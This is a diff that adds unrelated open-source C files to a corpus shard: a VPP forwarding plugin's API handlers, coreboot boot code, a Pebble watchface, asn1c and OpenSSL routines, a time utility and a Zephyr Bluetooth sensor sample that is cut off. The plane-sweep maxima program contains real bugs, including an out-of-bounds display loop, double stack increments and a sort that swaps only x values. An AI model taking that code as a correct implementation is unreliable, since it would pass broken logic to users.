+  mp->policy.n_paths = n_paths;
+  mp->policy.acl_index = htonl (ap->ap_acl);
+  mp->policy.policy_id = htonl (ap->ap_id);
+
+  fib_path_list_walk_w_ext (ap->ap_pl, NULL, fib_path_encode, &walk_ctx);
+
+  fp = mp->policy.paths;
+  vec_foreach (rpath, walk_ctx.rpaths)
+  {
+    fib_api_path_encode (rpath, fp);
+    fp++;
+  }
+
+  vl_api_send_msg (ctx->rp, (u8 *) mp);
+
+  vec_free (walk_ctx.rpaths);
+
+  return (1);
+}
+
+static void
+vl_api_abf_policy_dump_t_handler (vl_api_abf_policy_dump_t * mp)
+{
+  vl_api_registration_t *rp;
+
+  rp = vl_api_client_index_to_registration (mp->client_index);
+  if (rp == 0)
+    return;
+
+  abf_dump_walk_ctx_t ctx = {
+    .rp = rp,
+    .context = mp->context,
+  };
+
+  abf_policy_walk (abf_policy_send_details, &ctx);
+}
+
+static int
+abf_itf_attach_send_details (u32 aiai, void *args)
+{
+  vl_api_abf_itf_attach_details_t *mp;
+  abf_dump_walk_ctx_t *ctx;
+  abf_itf_attach_t *aia;
+  abf_policy_t *ap;
+
+  ctx = args;
+  aia = abf_itf_attach_get (aiai);
+  ap = abf_policy_get (aia->aia_abf);
+
+  mp = vl_msg_api_alloc (sizeof (*mp));
+  mp->_vl_msg_id = ntohs (VL_API_ABF_ITF_ATTACH_DETAILS + abf_base_msg_id);
+
+  mp->context = ctx->context;
+  mp->attach.policy_id = htonl (ap->ap_id);
+  mp->attach.sw_if_index = htonl (aia->aia_sw_if_index);
+  mp->attach.priority = htonl (aia->aia_prio);
+  mp->attach.is_ipv6 = (aia->aia_proto == FIB_PROTOCOL_IP6);
+
+  vl_api_send_msg (ctx->rp, (u8 *) mp);
+
+  return (1);
+}
+
+static void
+vl_api_abf_itf_attach_dump_t_handler (vl_api_abf_itf_attach_dump_t * mp)
+{
+  vl_api_registration_t *rp;
+
+  rp = vl_api_client_index_to_registration (mp->client_index);
+  if (rp == 0)
+    return;
+
+  abf_dump_walk_ctx_t ctx = {
+    .rp = rp,
+    .context = mp->context,
+  };
+
+  abf_itf_attach_walk (abf_itf_attach_send_details, &ctx);
+}
+
+#include <abf/abf.api.c>
+
+static clib_error_t *
+abf_api_init (vlib_main_t * vm)
+{
+  /* Ask for a correctly-sized block of API message decode slots */
+  abf_base_msg_id = setup_message_id_table ();
+
+  return 0;
+}
+
+VLIB_INIT_FUNCTION (abf_api_init);
+
+/* *INDENT-OFF* */
+VLIB_PLUGIN_REGISTER () = {
+    .version = VPP_BUILD_VER,
+    .description = "Access Control List (ACL) Based Forwarding",
+};
+/* *INDENT-ON* */
+
+/*
+ * fd.io coding-style-patch-verification: ON
+ *
+ * Local Variables:
+ * eval: (c-set-style "gnu")
+ * End:
+ */
diff --git a/pool/shard001/C/0024347_bootblock.c b/pool/shard001/C/0024347_bootblock.c
new file mode 100644
index 0000000000000000000000000000000000000000..b2cdf9d766bd1d630ff61e2cdfe640cb9617327f
--- /dev/null
+++ b/pool/shard001/C/0024347_bootblock.c
@@ -0,0 +1,75 @@
+/*
+ * This file is part of the coreboot project.
+ *
+ * Copyright (C) 2013 Google, Inc.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; version 2 of the License.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ */
+
+#include <device/pci_ops.h>
+#include <cpu/x86/cache.h>
+#include <cpu/x86/msr.h>
+#include <cpu/x86/mtrr.h>
+#include <soc/iosf.h>
+#include <cpu/intel/microcode/microcode.c>
+
+static void set_var_mtrr(int reg, uint32_t base, uint32_t size, int type)
+{
+	msr_t basem, maskm;
+	basem.lo = base | type;
+	basem.hi = 0;
+	wrmsr(MTRR_PHYS_BASE(reg), basem);
+	maskm.lo = ~(size - 1) | MTRR_PHYS_MASK_VALID;
+	maskm.hi = (1 << (CONFIG_CPU_ADDR_BITS - 32)) - 1;
+	wrmsr(MTRR_PHYS_MASK(reg), maskm);
+}
+
+static void enable_rom_caching(void)
+{
+	msr_t msr;
+
+	disable_cache();
+	/* Why only top 4MiB ? */
+	set_var_mtrr(1, 0xffc00000, 4*1024*1024, MTRR_TYPE_WRPROT);
+	enable_cache();
+
+	/* Enable Variable MTRRs */
+	msr.hi = 0x00000000;
+	msr.lo = 0x00000800;
+	wrmsr(MTRR_DEF_TYPE_MSR, msr);
+}
+
+static void setup_mmconfig(void)
+{
+	uint32_t reg;
+
+	/* Set up the MMCONF range. The register lives in the BUNIT. The
+	 * IO variant of the config access needs to be used initially to
+	 * properly configure as the IOSF access registers live in PCI
+	 * config space. */
+	reg = 0;
+	/* Clear the extended register. */
+	pci_io_write_config32(IOSF_PCI_DEV, MCRX_REG, reg);
+	reg = CONFIG_MMCONF_BASE_ADDRESS | 1;
+	pci_io_write_config32(IOSF_PCI_DEV, MDR_REG, reg);
+	reg = IOSF_OPCODE(IOSF_OP_WRITE_BUNIT) | IOSF_PORT(IOSF_PORT_BUNIT) |
+	      IOSF_REG(BUNIT_MMCONF_REG) | IOSF_BYTE_EN;
+	pci_io_write_config32(IOSF_PCI_DEV, MCR_REG, reg);
+}
+
+static void bootblock_cpu_init(void)
+{
+	/* Allow memory-mapped PCI config access. */
+	setup_mmconfig();
+
+	/* Load microcode before any caching. */
+	intel_update_microcode_from_cbfs();
+	enable_rom_caching();
+}
diff --git a/pool/shard001/C/0024350_tutorial1.c b/pool/shard001/C/0024350_tutorial1.c
new file mode 100644
index 0000000000000000000000000000000000000000..44e287c0f13f9af7c9469e6b2f4dacd49172f027
--- /dev/null
+++ b/pool/shard001/C/0024350_tutorial1.c
@@ -0,0 +1,123 @@
+#include <pebble.h>
+
+static Window *window;
+static TextLayer *text_layer;
+
+// /**
+//  * Middle button handler for apps
+//  **/
+// static void select_click_handler(ClickRecognizerRef recognizer, void *context) {
+//   text_layer_set_text(text_layer, "Select");
+// }
+//
+// /**
+//  * Top button handler for apps
+//  **/
+// static void up_click_handler(ClickRecognizerRef recognizer, void *context) {
+//   text_layer_set_text(text_layer, "Up");
+// }
+//
+// /**
+//  * Bottom button handler for apps
+//  **/
+// static void down_click_handler(ClickRecognizerRef recognizer, void *context) {
+//   text_layer_set_text(text_layer, "Down");
+// }
+//
+// /**
+//  * configure button handlers for apps
+//  **/
+// static void click_config_provider(void *context) {
+//   window_single_click_subscribe(BUTTON_ID_SELECT, select_click_handler);
+//   window_single_click_subscribe(BUTTON_ID_UP, up_click_handler);
+//   window_single_click_subscribe(BUTTON_ID_DOWN, down_click_handler);
+// }
+//
+// static void app_window_load(Window *window) {
+//   Layer *window_layer = window_get_root_layer(window);
+//   GRect bounds = layer_get_bounds(window_layer);
+//
+//   text_layer = text_layer_create((GRect) { .origin = { 0, 72 }, .size = { bounds.size.w, 20 } });
+//   text_layer_set_text(text_layer, "Press a button");
+//   text_layer_set_text_alignment(text_layer, GTextAlignmentCenter);
+//   layer_add_child(window_layer, text_layer_get_layer(text_layer));
+// }
+//
+// static void app_window_unload(Window *window) {
+//   text_layer_destroy(text_layer);
+// }
+
+//void update_time;
+
+
+
+
+static void update_time() {
+  // Get a tm structure
+  time_t temp = time(NULL);
+  struct tm *tick_time = localtime(&temp);
+
+  //TextLayer * s_time_layer = text_layer_create(GRect frame);
+
+  // Create a long-lived buffer
+  static char buffer[] = "00:00";
+
+  // Write the current hours and minutes into the buffer
+  if(clock_is_24h_style() == true) {
+    // Use 24 hour format
+    strftime(buffer, sizeof("00:00"), "%H:%M", tick_time);
+  } else {
+    // Use 12 hour format
+    strftime(buffer, sizeof("00:00"), "%I:%M", tick_time);
+  }
+
+  // Display this time on the TextLayer
+  text_layer_set_text(text_layer, buffer);
+}
+
+static void tick_handler(struct tm * time, TimeUnits units_changed) {
+  update_time();
+}
+
+static void face_window_load(Window *window) {
+  text_layer = text_layer_create(GRect(0, 55, 144, 50));
+  text_layer_set_background_color(text_layer, GColorClear);
+  text_layer_set_text_color(text_layer, GColorBlack);
+  text_layer_set_text(text_layer, "hello");
+
+  text_layer_set_font(text_layer, fonts_get_system_font(FONT_KEY_BITHAM_42_BOLD));
+  text_layer_set_text_alignment(text_layer, GTextAlignmentCenter);
+
+  layer_add_child(window_get_root_layer(window), text_layer_get_layer(text_layer));
+}
+
+static void face_window_unload(Window *window) {
+  text_layer_destroy(text_layer);
+}
+
+
+
+static void init(void) {
+  window = window_create();
+  tick_timer_service_subscribe(MINUTE_UNIT, tick_handler);
+  //window_set_click_config_provider(window, click_config_provider);
+  window_set_window_handlers(window, (WindowHandlers) {
+    .load = face_window_load,
+    .unload = face_window_unload,
+  });
+  const bool animated = true;
+  window_stack_push(window, animated);
+}
+
+static void deinit(void) {
+  window_destroy(window);
+}
+
+int main(void) {
+  init();
+
+  APP_LOG(APP_LOG_LEVEL_DEBUG, "Done initializing, pushed window: %p", window);
+
+  app_event_loop();
+  deinit();
+}
diff --git a/pool/shard001/C/0024357_Plane-Sweep.c b/pool/shard001/C/0024357_Plane-Sweep.c
new file mode 100644
index 0000000000000000000000000000000000000000..9d63a860b5c253394da7b2c4fe2d076ba73ee26a
--- /dev/null
+++ b/pool/shard001/C/0024357_Plane-Sweep.c
@@ -0,0 +1,117 @@
+/* Filename: Plane-Sweep.c */
+/* Author: Alangi Derick (d3r1ck) */
+/* Description: This is the implementation of the plane-sweep algorithm which is an optimised
+		version of the brute-force maxima algorithm for returning the maximal points on
+		a graph. */
+		
+//including of header files
+#include<stdio.h>
+#include<stdlib.h>
+
+//declaration of (x,y) point structure for reading the points
+typedef struct Points {
+	int x_coord;
+	int y_coord;
+}Points;
+
+
+//definition of macro for the size
+#define N 20
+
+//function prototype for Plane-Sweep, Sorting
+void Plane_Sweep_Maxima(int n);
+void Sort_Points(int);
+void Stack_Push(int, int);
+int Stack_Pop(void);
+void Display_Stack();
+
+//declaration of a global array for the points
+Points points[N];
+int top;
+
+//memory allocation for the stack
+Points Stack[N];
+
+//main function definition
+int
+main(void){
+	int i, number;
+	printf("--------------------Plane-Sweep Algorithm----------------------\n");
+	printf("Enter the number points(x,y): ");
+	scanf("%d", &number);
+	
+	if(number<1){
+		exit(1);
+	}
+	
+	else {
+		for(i=0; i<number; i++){
+			scanf("%d%d", &points[i].x_coord, &points[i].y_coord);
+		}
+	}
+	
+	////sort the points in 2D_Points[] in order of x.
+	Sort_Points(number);
+	
+	//function call to plane-sweep maxima algorithm
+	Plane_Sweep_Maxima(number);
+	
+	//prints the maximal points on the graph
+	printf("\n---------------------End of Plane-Sweep-Maxima Algorithm-------------\n");
+
+return 0;
+}
+
+//definition of sorting function
+//this function sort the points in increasing order of x
+void Sort_Points(int n){
+	int temp, i, j;
+	for(i=0; i<n; i++){
+		for(j=i; j<n; j++){
+			if(points[i].x_coord >= points[j].x_coord){
+				temp = points[i].x_coord;
+				points[i].x_coord = points[j].x_coord;
+				points[j].x_coord = temp;
+			}
+		}
+	}
+}
+
+//definition of stack push
+void Stack_Push(int x, int y){
+	Stack[top++].x_coord = x;
+	Stack[top++].y_coord = y;
+}
+
+//definition of the stack pop
+int Stack_Pop(void){
+	return Stack[--top].x_coord;
+}
+
+//definition of the display stack function
+void Display_Stack(void){
+	int i;
+	for(i=N-1; i>=0; i++){
+		printf("Maximal Values are: (%d, %d)\n", Stack[i].x_coord, Stack[i].y_coord);
+	}
+}
+
+//definition of the notEmpty function
+//int Empty(void){
+//	return 1;
+//}
+
+//definition of the plane-sweep algorithm
+void Plane_Sweep_Maxima(int n){
+	int i;
+	for(i=0; i<n; i++){
+		while(Stack[top].y_coord <= points[i].y_coord){
+			//pop item
+			Stack_Pop();
+			Stack_Push(points[i].x_coord, points[i].y_coord);
+		}
+	}
+	//output the contents of the stack
+	Display_Stack();
+}
+
diff --git a/pool/shard001/C/0024372_KeyIdentity.c b/pool/shard001/C/0024372_KeyIdentity.c
new file mode 100644
index 0000000000000000000000000000000000000000..210eacb069443c48f7fa110356cafa0b46bb4196
--- /dev/null
+++ b/pool/shard001/C/0024372_KeyIdentity.c
@@ -0,0 +1,151 @@
+/*
+ * Generated by asn1c-0.9.22 (http://lionet.info/asn1c)
+ * From ASN.1 module "SUPL-INIT"
+ * 	found in "../supl-init.asn"
+ */
+
+#include "KeyIdentity.h"
+
+int
+KeyIdentity_constraint(asn_TYPE_descriptor_t *td, const void *sptr,
+			asn_app_constraint_failed_f *ctfailcb, void *app_key) {
+	const BIT_STRING_t *st = (const BIT_STRING_t *)sptr;
+	size_t size;
+	
+	if(!sptr) {
+		_ASN_CTFAIL(app_key, td, sptr,
+			"%s: value not given (%s:%d)",
+			td->name, __FILE__, __LINE__);
+		return -1;
+	}
+	
+	if(st->size > 0) {
+		/* Size in bits */
+		size = 8 * st->size - (st->bits_unused & 0x07);
+	} else {
+		size = 0;
+	}
+	
+	if((size == 128)) {
+		/* Constraint check succeeded */
+		return 0;
+	} else {
+		_ASN_CTFAIL(app_key, td, sptr,
+			"%s: constraint failed (%s:%d)",
+			td->name, __FILE__, __LINE__);
+		return -1;
+	}
+}
+
+/*
+ * This type is implemented using BIT_STRING,
+ * so here we adjust the DEF accordingly.
+ */
+static void
+KeyIdentity_1_inherit_TYPE_descriptor(asn_TYPE_descriptor_t *td) {
+	td->free_struct    = asn_DEF_BIT_STRING.free_struct;
+	td->print_struct   = asn_DEF_BIT_STRING.print_struct;
+	td->ber_decoder    = asn_DEF_BIT_STRING.ber_decoder;
+	td->der_encoder    = asn_DEF_BIT_STRING.der_encoder;
+	td->xer_decoder    = asn_DEF_BIT_STRING.xer_decoder;
+	td->xer_encoder    = asn_DEF_BIT_STRING.xer_encoder;
+	td->uper_decoder   = asn_DEF_BIT_STRING.uper_decoder;
+	td->uper_encoder   = asn_DEF_BIT_STRING.uper_encoder;
+	if(!td->per_constraints)
+		td->per_constraints = asn_DEF_BIT_STRING.per_constraints;
+	td->elements       = asn_DEF_BIT_STRING.elements;
+	td->elements_count = asn_DEF_BIT_STRING.elements_count;
+	td->specifics      = asn_DEF_BIT_STRING.specifics;
+}
+
+void
+KeyIdentity_free(asn_TYPE_descriptor_t *td,
+		void *struct_ptr, int contents_only) {
+	KeyIdentity_1_inherit_TYPE_descriptor(td);
+	td->free_struct(td, struct_ptr, contents_only);
+}
+
+int
+KeyIdentity_print(asn_TYPE_descriptor_t *td, const void *struct_ptr,
+		int ilevel, asn_app_consume_bytes_f *cb, void *app_key) {
+	KeyIdentity_1_inherit_TYPE_descriptor(td);
+	return td->print_struct(td, struct_ptr, ilevel, cb, app_key);
+}
+
+asn_dec_rval_t
+KeyIdentity_decode_ber(asn_codec_ctx_t *opt_codec_ctx, asn_TYPE_descriptor_t *td,
+		void **structure, const void *bufptr, size_t size, int tag_mode) {
+	KeyIdentity_1_inherit_TYPE_descriptor(td);
+	return td->ber_decoder(opt_codec_ctx, td, structure, bufptr, size, tag_mode);
+}
+
+asn_enc_rval_t
+KeyIdentity_encode_der(asn_TYPE_descriptor_t *td,
+		void *structure, int tag_mode, ber_tlv_tag_t tag,
+		asn_app_consume_bytes_f *cb, void *app_key) {
+	KeyIdentity_1_inherit_TYPE_descriptor(td);
+	return td->der_encoder(td, structure, tag_mode, tag, cb, app_key);
+}
+
+asn_dec_rval_t
+KeyIdentity_decode_xer(asn_codec_ctx_t *opt_codec_ctx, asn_TYPE_descriptor_t *td,
+		void **structure, const char *opt_mname, const void *bufptr, size_t size) {
+	KeyIdentity_1_inherit_TYPE_descriptor(td);
+	return td->xer_decoder(opt_codec_ctx, td, structure, opt_mname, bufptr, size);
+}
+
+asn_enc_rval_t
+KeyIdentity_encode_xer(asn_TYPE_descriptor_t *td, void *structure,
+		int ilevel, enum xer_encoder_flags_e flags,
+		asn_app_consume_bytes_f *cb, void *app_key) {
+	KeyIdentity_1_inherit_TYPE_descriptor(td);
+	return td->xer_encoder(td, structure, ilevel, flags, cb, app_key);
+}
+
+asn_dec_rval_t
+KeyIdentity_decode_uper(asn_codec_ctx_t *opt_codec_ctx, asn_TYPE_descriptor_t *td,
+		asn_per_constraints_t *constraints, void **structure, asn_per_data_t *per_data) {
+	KeyIdentity_1_inherit_TYPE_descriptor(td);
+	return td->uper_decoder(opt_codec_ctx, td, constraints, structure, per_data);
+}
+
+asn_enc_rval_t
+KeyIdentity_encode_uper(asn_TYPE_descriptor_t *td,
+		asn_per_constraints_t *constraints,
+		void *structure, asn_per_outp_t *per_out) {
+	KeyIdentity_1_inherit_TYPE_descriptor(td);
+	return td->uper_encoder(td, constraints, structure, per_out);
+}
+
+static asn_per_constraints_t asn_PER_type_KeyIdentity_constr_1 = {
+	{ APC_UNCONSTRAINED,	-1, -1,  0,  0 },
+	{ APC_CONSTRAINED,	 0,  0,  128,  128 }	/* (SIZE(128..128)) */,
+	0, 0	/* No PER value map */
+};
+static ber_tlv_tag_t asn_DEF_KeyIdentity_tags_1[] = {
+	(ASN_TAG_CLASS_UNIVERSAL | (3 << 2))
+};
+asn_TYPE_descriptor_t asn_DEF_KeyIdentity = {
+	"KeyIdentity",
+	"KeyIdentity",
+	KeyIdentity_free,
+	KeyIdentity_print,
+	KeyIdentity_constraint,
+	KeyIdentity_decode_ber,
+	KeyIdentity_encode_der,
+	KeyIdentity_decode_xer,
+	KeyIdentity_encode_xer,
+	KeyIdentity_decode_uper,
+	KeyIdentity_encode_uper,
+	0,	/* Use generic outmost tag fetcher */
+	asn_DEF_KeyIdentity_tags_1,
+	sizeof(asn_DEF_KeyIdentity_tags_1)
+		/sizeof(asn_DEF_KeyIdentity_tags_1[0]), /* 1 */
+	asn_DEF_KeyIdentity_tags_1,	/* Same as above */
+	sizeof(asn_DEF_KeyIdentity_tags_1)
+		/sizeof(asn_DEF_KeyIdentity_tags_1[0]), /* 1 */
+	&asn_PER_type_KeyIdentity_constr_1,
+	0, 0,	/* No members */
+	0	/* No specifics */
+};
+
diff --git a/pool/shard001/C/0024374_x_pkey.c b/pool/shard001/C/0024374_x_pkey.c
new file mode 100644
index 0000000000000000000000000000000000000000..0665aab62251256b74530b8b7552e7279456b5cd
--- /dev/null
+++ b/pool/shard001/C/0024374_x_pkey.c
@@ -0,0 +1,111 @@
+/* crypto/asn1/x_pkey.c */
+/* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com)
+ * All rights reserved.
+ *
+ * This package is an SSL implementation written
+ * by Eric Young (eay@cryptsoft.com).
+ * The implementation was written so as to conform with Netscapes SSL.
+ *
+ * This library is free for commercial and non-commercial use as long as
+ * the following conditions are aheared to.  The following conditions
+ * apply to all code found in this distribution, be it the RC4, RSA,
+ * lhash, DES, etc., code; not just the SSL code.  The SSL documentation
+ * included with this distribution is covered by the same copyright terms
+ * except that the holder is Tim Hudson (tjh@cryptsoft.com).
+ *
+ * Copyright remains Eric Young's, and as such any Copyright notices in
+ * the code are not to be removed.
+ * If this package is used in a product, Eric Young should be given attribution
+ * as the author of the parts of the library used.
+ * This can be in the form of a textual message at program startup or
+ * in documentation (online or textual) provided with the package.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ * 3. All advertising materials mentioning features or use of this software
+ *    must display the following acknowledgement:
+ *    "This product includes cryptographic software written by
+ *     Eric Young (eay@cryptsoft.com)"
+ *    The word 'cryptographic' can be left out if the rouines from the library
+ *    being used are not cryptographic related :-).
+ * 4. If you include any Windows specific code (or a derivative thereof) from
+ *    the apps directory (application code) you must include an acknowledgement:
+ *    "This product includes software written by Tim Hudson (tjh@cryptsoft.com)"
+ *
+ * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ * The licence and distribution terms for any publically available version or
+ * derivative of this code cannot be changed.  i.e. this code cannot simply be
+ * copied and put under another distribution licence
+ * [including the GNU Public Licence.]
+ */
+
+#include <stdio.h>
+#include "internal/cryptlib.h"
+#include <openssl/evp.h>
+#include <openssl/objects.h>
+#include <openssl/x509.h>
+
+X509_PKEY *X509_PKEY_new(void)
+{
+    X509_PKEY *ret = NULL;
+
+    ret = OPENSSL_zalloc(sizeof(*ret));
+    if (!ret)
+        goto err;
+
+    ret->enc_algor = X509_ALGOR_new();
+    ret->enc_pkey = ASN1_OCTET_STRING_new();
+    if (!ret->enc_algor || !ret->enc_pkey)
+        goto err;
+    ret->references = 1;
+    return ret;
+err:
+    X509_PKEY_free(ret);
+    ASN1err(ASN1_F_X509_PKEY_NEW, ERR_R_MALLOC_FAILURE);
+    return NULL;
+}
+
+void X509_PKEY_free(X509_PKEY *x)
+{
+    int i;
+
+    if (x == NULL)
+        return;
+
+    i = CRYPTO_add(&x->references, -1, CRYPTO_LOCK_X509_PKEY);
+#ifdef REF_PRINT
+    REF_PRINT("X509_PKEY", x);
+#endif
+    if (i > 0)
+        return;
+#ifdef REF_CHECK
+    if (i < 0) {
+        fprintf(stderr, "X509_PKEY_free, bad reference count\n");
+        abort();
+    }
+#endif
+
+    X509_ALGOR_free(x->enc_algor);
+    ASN1_OCTET_STRING_free(x->enc_pkey);
+    EVP_PKEY_free(x->dec_pkey);
+    if (x->key_free)
+        OPENSSL_free(x->key_data);
+    OPENSSL_free(x);
+}
diff --git a/pool/shard001/C/0024384_time_util.c b/pool/shard001/C/0024384_time_util.c
new file mode 100644
index 0000000000000000000000000000000000000000..af0e96cfdbeda027c276ba1659345f0e1999513a
--- /dev/null
+++ b/pool/shard001/C/0024384_time_util.c
@@ -0,0 +1,73 @@
+/* (C) 2013-2015, The Regents of The University of Michigan
+All rights reserved.
+
+This software may be available under alternative licensing
+terms. Contact Edwin Olson, ebolson@umich.edu, for more information.
+
+   Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain the above copyright notice, this
+   list of conditions and the following disclaimer.
+2. Redistributions in binary form must reproduce the above copyright notice,
+   this list of conditions and the following disclaimer in the documentation
+   and/or other materials provided with the distribution.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
+ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
+ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+The views and conclusions contained in the software and documentation are those
+of the authors and should not be interpreted as representing official policies,
+either expressed or implied, of the FreeBSD Project.
+ */
+
+#include "time_util.h"
+
+int64_t utime_now() // blacklist-ignore
+{
+    struct timeval tv;
+    gettimeofday (&tv, NULL); // blacklist-ignore
+    return (int64_t) tv.tv_sec * 1000000 + tv.tv_usec;
+}
+
+int64_t utime_get_seconds(int64_t v)
+{
+    return v/1000000;
+}
+
+int64_t utime_get_useconds(int64_t v)
+{
+    return v%1000000;
+}
+
+void utime_to_timeval(int64_t v, struct timeval *tv)
+{
+    tv->tv_sec  = (time_t) utime_get_seconds(v);
+    tv->tv_usec = (suseconds_t) utime_get_useconds(v);
+}
+
+void utime_to_timespec(int64_t v, struct timespec *ts)
+{
+    ts->tv_sec  = (time_t) utime_get_seconds(v);
+    ts->tv_nsec = (suseconds_t) utime_get_useconds(v)*1000;
+}
+
+int32_t timeutil_usleep(int64_t useconds)
+{
+    // unistd.h function
+    return usleep(useconds);
+}
+
+uint32_t timeutil_sleep(unsigned int seconds)
+{
+    // unistd.h function
+    return sleep(seconds);
+}
diff --git a/pool/shard001/C/0024413_main.c b/pool/shard001/C/0024413_main.c
new file mode 100644
index 0000000000000000000000000000000000000000..7ae4a5c7e54df882f35b6fd8e4bd06943e420b57
--- /dev/null
+++ b/pool/shard001/C/0024413_main.c
@@ -0,0 +1,133 @@
+/*
+ * Copyright (c) 2016 Intel Corporation
+ *
+ * SPDX-License-Identifier: Apache-2.0
+ */
+
+#include <bluetooth/bluetooth.h>
+#include <bluetooth/hci.h>
+#include <bluetooth/uuid.h>
+#include <bluetooth/gatt.h>
+#include <device.h>
+#include <ipm.h>
+#include <ipm/ipm_quark_se.h>
+#include <misc/byteorder.h>
+#include <misc/printk.h>
+#include <sensor.h>
+#include <zephyr.h>
+
+#define DEVICE_NAME			"Environmental Sensor"
+#define DEVICE_NAME_LEN			(sizeof(DEVICE_NAME) - 1)
+#define TEMPERATURE_CUD			"Temperature"
+#define HUMIDITY_CUD			"Humidity"
+#define PRESSURE_CUD			"Pressure"
+
+QUARK_SE_IPM_DEFINE(ess_ipm, 0, QUARK_SE_IPM_INBOUND);
+
+static int16_t temp_value;
+static uint16_t humidity_value;
+static uint32_t pressure_value;
+
+static ssize_t read_u16(struct bt_conn *conn, const struct bt_gatt_attr *attr,
+			void *buf, uint16_t len, uint16_t offset)
+{
+	const uint16_t *u16 = attr->user_data;
+	uint16_t value = sys_cpu_to_le16(*u16);
+
+	return bt_gatt_attr_read(conn, attr, buf, len, offset, &value,
+				 sizeof(value));
+}
+
+static ssize_t read_u32(struct bt_conn *conn, const struct bt_gatt_attr *attr,
+			void *buf, uint16_t len, uint16_t offset)
+{
+	const uint32_t *u32 = attr->user_data;
+	uint16_t value = sys_cpu_to_le32(*u32);
+
+	return bt_gatt_attr_read(conn, attr, buf, len, offset, &value,
+				 sizeof(value));
+}
+
+static struct bt_gatt_attr attrs[] = {
+	BT_GATT_PRIMARY_SERVICE(BT_UUID_ESS),
+
+	BT_GATT_CHARACTERISTIC(BT_UUID_TEMPERATURE, BT_GATT_CHRC_READ),
+	BT_GATT_DESCRIPTOR(BT_UUID_TEMPERATURE, BT_GATT_PERM_READ,
+			   read_u16, NULL, &temp_value),
+	BT_GATT_CUD(TEMPERATURE_CUD, BT_GATT_PERM_READ),
+
+	BT_GATT_CHARACTERISTIC(BT_UUID_HUMIDITY, BT_GATT_CHRC_READ),
+	BT_GATT_DESCRIPTOR(BT_UUID_HUMIDITY, BT_GATT_PERM_READ,
+			   read_u16, NULL, &humidity_value),
+	BT_GATT_CUD(HUMIDITY_CUD, BT_GATT_PERM_READ),
+
+	BT_GATT_CHARACTERISTIC(BT_UUID_PRESSURE, BT_GATT_CHRC_READ),
+	BT_GATT_DESCRIPTOR(BT_UUID_PRESSURE, BT_GATT_PERM_READ,
+			   read_u32, NULL, &pressure_value),
+	BT_GATT_CUD(PRESSURE_CUD, BT_GATT_PERM_READ),
+};
+
+static const struct bt_data ad[] = {
+	BT_DATA_BYTES(BT_DATA_FLAGS, (BT_LE_AD_GENERAL | BT_LE_AD_NO_BREDR)),
+};
+
+static struct bt_data sd[] = {
+	BT_DATA(BT_DATA_NAME_COMPLETE, DEVICE_NAME, DEVICE_NAME_LEN),
+};
+
+static void bt_ready(int err)
+{
+	if (err) {
+		printk("Bluetooth init failed (err %d)\n", err);
+		return;
+	}
+
+	bt_gatt_register(attrs, ARRAY_SIZE(attrs));
+
+	err = bt_le_adv_start(BT_LE_ADV_CONN, ad, ARRAY_SIZE(ad),
+			      sd, ARRAY_SIZE(sd));
+	if (err) {
+		printk("Advertising failed to start (err %d)\n", err);
+		return;
+	}
+}
+
+static void sensor_ipm_callback(void *context, uint32_t id, volatile void *data)
+{
+	volatile struct sensor_value *val = data;
+
+	switch (id) {
+	case SENSOR_CHAN_TEMP:
+		/* resolution of 0.01 degrees Celsius */
+		temp_value = val->val1 * 100 + val->val2 / 10000;
+		break;
+	case SENSOR_CHAN_HUMIDITY:
+		/* resolution of 0.01 percent */
+		humidity_value = val->val1 / 10;
+		break;
+	case SENSOR_CHAN_PRESS:
+		/* resolution of 0.1 Pa */
+		pressure_value = val->val1 * 10000 + val->val2 / 100;
+		break;
+	default:
+		break;
+	}
+}
+
+void main(void)
+{
+	struct device *ipm;
+	int rc;
+
+	rc = bt_enable(bt_ready);
